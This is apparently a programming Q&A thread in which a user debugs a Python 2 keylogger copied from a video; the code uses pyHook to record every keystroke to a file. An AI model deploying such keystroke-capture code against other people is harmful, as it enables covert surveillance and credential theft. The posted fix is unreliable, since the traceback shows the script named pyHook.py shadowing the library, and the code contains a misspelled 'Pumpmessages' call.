attributeskeyloggerpyhook

No attribute 'HookManager'


I am copying the key logger from this video: (https://www.youtube.com/watch?v=8BiOPBsXh0g) and running the code:

    import pyHook, sys, logging, pythoncom

    file_log = 'C:\Users\User\Google Drive\Python'

    def OnKeyboardEvent(event):
        logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s')
        chr(event.Ascii)
        logging.log(10, chr(event.Ascii))
        return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.Pumpmessages()

This returns the error:

    Traceback (most recent call last):
      File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in  <module>
        import pyHook, sys, logging, pythoncom
      File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module>
        hooks_manager = pyHook.HookManager()
    AttributeError: 'module' object has no attribute 'HookManager'

I am running Python 2.7.11 and a windows computer. I don't know what the problem is; please help. Thank you


Solution

  • I'm still unsure what the issue is but I found a solution. If you move the program you are trying to run into the same folder as the HookManager.py file then it works.

    For me this file was: C:\Python27\Lib\site-packages\pyHook